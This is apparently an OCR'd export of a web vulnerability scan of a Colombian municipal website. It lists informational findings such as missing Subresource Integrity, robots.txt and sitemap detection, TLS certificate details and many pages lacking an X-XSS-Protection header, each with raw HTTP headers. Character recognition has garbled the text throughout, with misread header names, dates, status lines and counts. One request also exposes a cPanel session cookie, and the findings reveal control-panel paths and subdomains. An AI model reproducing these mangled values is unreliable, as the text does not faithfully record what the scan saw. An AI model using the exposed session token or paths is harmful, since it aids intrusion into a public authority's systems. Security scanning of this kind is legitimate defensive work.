X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ cache/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVl

Content - Type: text/htm

Content - Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 251 of 348


https://chia-cundinamarca.gov.co/cache/

Accept - Ranges: bytes
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Missing Subresource Integrity

VULNERABILITY BINIgeN PLUGIN ID 98647

Description

Subresource Integrity (SRI) is a web security standard that enables browsers to verify that resources hosted by third parties

(CDN for example) are delivered without unexpected manipulation.

SRl works by comparing a cryptographic hash declared in the integrity attribute of the resource tag (like script or link) used to

fetch the resource and the calculated hash value of this resource.

No SRI have been detected for one or more resources.

Solution

Add aintegrity attribute to the resource tag with prefixed and base64 encoded hash of the resource.

See Also

https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity

https://www.owasp.org/index.php/3rd_Party_Javascript_Management_Cheat_Sheet#Subresource_Integrity

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-08-01T00:00:00+00:00
2023-01-17T00:00:00+00:00
Web Applications

Info

98647
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Missing Subresource Integrity Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98647

INSTANCE
https://chia-cundinamarca.gov.co/

|dentification
OUTPUT
The scanner detected 44 resources w thout subresource integrity defined

- 21 URLs related to 'script' resources
- 23 URLs related to 'link' resources

The list of all the detected resources is provided in attachnent.
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Sitemap.xml File Detected

VULNERABILITY BMINIgeN PLUGIN ID 98681

Description

The Sitemap Protocol allows you to inform search engines about URLs on a website that are available for crawling. In its

simplest form, a Sitemap is an XML file that lists URLs for a site.

It has been discovered that many site owners are not building their Sitemaps through spidering, but by scripted runs on their
web root directory structures. If this is the case, an attacker may be able to use sitemaps to enumerate all files and directories

in the web server root.

Solution

Site owners should be wary of automatically generating sitemap.xml files, and admins should review the contents of there

sitemap.xml file for sensitive material.

See Also

https://www.sitemaps.org

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-09-16T00:00:00+00:00
2023-07-13700:00:00+00:00
Web Servers

Info

98681
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Sitemap.xml File Detected Instances (1)

VULNERABILITY BMINIgeN PLUGIN ID 98681

INSTANCE
https://chia-cundinamarca.gov.co/web/wp-sitemap.xml

Identification

OUTPUT
A sitemap xm file was detected at https://chia-cundi namarca. gov. co/ web/ wp-si temap. xm with

- 6 URLs identified as in scope of audit.
- 0 URLs identified as out of scope of audit.

Details of the URLs can be found in the attachment.Details of the URLs can be found in the attachnent.
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Robots.txt File Detected

VULNERABILITY BINIgeN PLUGIN ID 98705

Description

The remote host contains a file named 'robots.txt' that is intended to prevent web 'robots' from visiting certain directoriesin a
website for maintenance or indexing purposes. A malicious user may also be able to use the contents of this file to learn of
sensitive documents or directories on the affected site and either retrieve them directly or target them for other attacks.

Solution

Review the contents of the site's robots.txt file, use Robots META tags instead of entries in the robots.txt file, and/or adjust the
web server's access controls to limit access to sensitive material.

See Also
https://www.robotstxt.org

Plugin Details
PUBLICATION DATE 2019-09-19700:00:00+00:00
MODIFICATION DATE 2020-12-17T00:00:00+00:00
FAMILY Web Servers
SEVERITY Info
PLUGIN ID 98705

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSS VECTOR -

Reference Information

CWE S
WASC -
OWASP =
CVE -
BID S
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Robots.txt File Detected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98705

INSTANCE

https://chia-cundinamarca.gov.co/robots.txt

Identification

OUTPUT
A robots.txt file was detected at 'https://chia-cundi namarca. gov. co/ robots. txt".

HTTP Info

REQUEST MADE
GET /robots.txt HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:11:47 GVI

Cont ent - Type: text/plain

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Last-Modified: Mn, 10 May 2021 02:42:10 GV
Cont ent - Encodi ng: gzip
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Fetch/XHR Detected

VULNERABILITY MI\geN PLUGIN ID 98772

Description

The scan detected that the web application makes requests that appear to be using Fetch or XMLHTTPRequests (XHRs) to
communicate with a backend APl server. Fetchs/XHRs allow retrieval of data from an APl without triggering a page reload,
making them especially useful for Single Page Applications.

Solution

See Also

https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-11-14T00:00:00+00:00
2023-11-17T00:00:00+00:00
General

Info

98772
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Fetch/XHR Detected Instances (1)

VULNERABILITY MI\geN PLUGIN ID 98772

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scan detected 1297 uni que XM.Ht t pRequests.

- 3 as "application/json+protobuf"
- 202 as "application/json"

-1

3
3
-3
8
9

as
as
as
as
as

"text/plain"
"application/javascript"
"text/htm"

"appl i cation/x-nmpegurl"
"vi deo/ np4"

8 as "inmge/ webp"

- 976 with no specified or detected M ME type

The scan detected 38 uni que Fetch Requests.

- 4 as "text/plain"

- 28 as "application/json"

- 1 as "imge/gif"

- 5with no specified or detected M ME type

Here is the distribution of MME types used by the detected requests:

Here is the distribution of MME types used by the detected requests:
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SSL/TLS Certificate Information

VULNERABILITY BINIgeN PLUGIN ID 112491

Description

This plugin displays information about the X.509 certificate extracted from the HTTPS connection.

Solution
See Also

Plugin Details
PUBLICATION DATE 2018-10-03T00:00:00+00:00
MODIFICATION DATE 2023-05-05T00:00:00+00:00
FAMILY SSL/TLS
SEVERITY Info
PLUGIN ID 12491

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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SSL/TLS Certificate Information Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 112491

INSTANCE

https://chia-cundinamarca.gov.co/

Identification
OUTPUT

Certificate 1

Common Nane: chi a- cundi namar ca. gov. co

Al ternative Nanes: chia-cundi namarca. gov.co cpanel . chi a- cundi nanmar ca. gov. co cpcal endars. chi a- cundi nanar ca. gov. co
cpcont act s. chi a- cundi nanmar ca. gov. co mai | . chi a- cundi nanar ca. gov. co webdi sk. chi a- cundi namar ca. gov. co webnai | . chi a-
cundi namar ca. gov. co www. chi a- cundi namar ca. gov. co

| ssuer: cPanel

Valid from 2024-10-21 00: 00: 00 UTC

Valid until: 2025-01-19 23:59:59 UTC (expires in 1 nonth, 1 day)

Validity Period: 90 days

Key: 2048-bit

Si gnature: ecdsa-wi t h- SHA256

Certificate 2

Common Nane: cpanel ecc domain validation secure server ca

I ssuer: Sectigo Limted

Valid from 2024-01-31 00: 00: 00 UTC

Valid until: 2034-01-30 23:59:59 UTC (expires in 9 years, 1 nonth, 1 week, 5 days)
Validity Period: 3652 days

Key: 256-bit

Si gnature: ecdsa-wi t h- SHA384

Certificate 3

Common Nane: sectigo public server authentication root e

I ssuer: Conpdo CA Linmted

Valid from 2021-03-22 00:00: 00 UTC

Valid until: 2028-12-31 23:59:59 UTC (expires in 4 years, 1 week, 6 days)
Validity Period: 2841 days

Key: RSA 384-bit

Si gnature: sha384W t hRSAEncrypti on
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Missing 'X-XSS-Protection' Header

VULNERABILITY BINigeM PLUGIN ID 112526

Description

The HTTP 'X-XSS-Protection' response header is a feature of old browsers that allows websites to control their XSS auditors.
\n\nThe serveris not configured to return a 'X-XSS-Protection header which means that any pages on this website could be at
risk of a Cross-Site Scripting (XSS) attack. This URL is flagged as a specific example.\n\nHowever, this header is deprecated by
modern browsers, if legacy browsers support is not needed, it is recommended to use Content-Security-Policy without allowing

unsafe-inline scripts instead.

Solution

Configure your web server to include an 'X-XSS-Protection' header with a value of 'I; mode=block' on all pages.

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection

https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-11-27T00:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Info

112526
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Missing 'X-XSS-Protection' Header Instances (25)

VULNERABILITY BINigeM PLUGIN ID 112526

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:45:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chi a-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-

factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
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GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inmpuestos-predial-e-ical

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 06:04:16 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive
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Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co

[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/4113>;, rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.
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HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
The scanner detected the |lack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx
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Date: Thu, 19 Dec 2024 02:22:54 GVIT
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVl

Cont ent - Type: text/htm

Cont ent - Lengt h: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/1os-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-
cultura-en-chia/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chial
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 22370>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:39: 13 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
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[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET /control panel / HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzi p, deflate, br

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVI
Cont ent - Type: text/htn

Transf er - Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
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Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
[ wp-j son/ wp/ v2/ post s/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

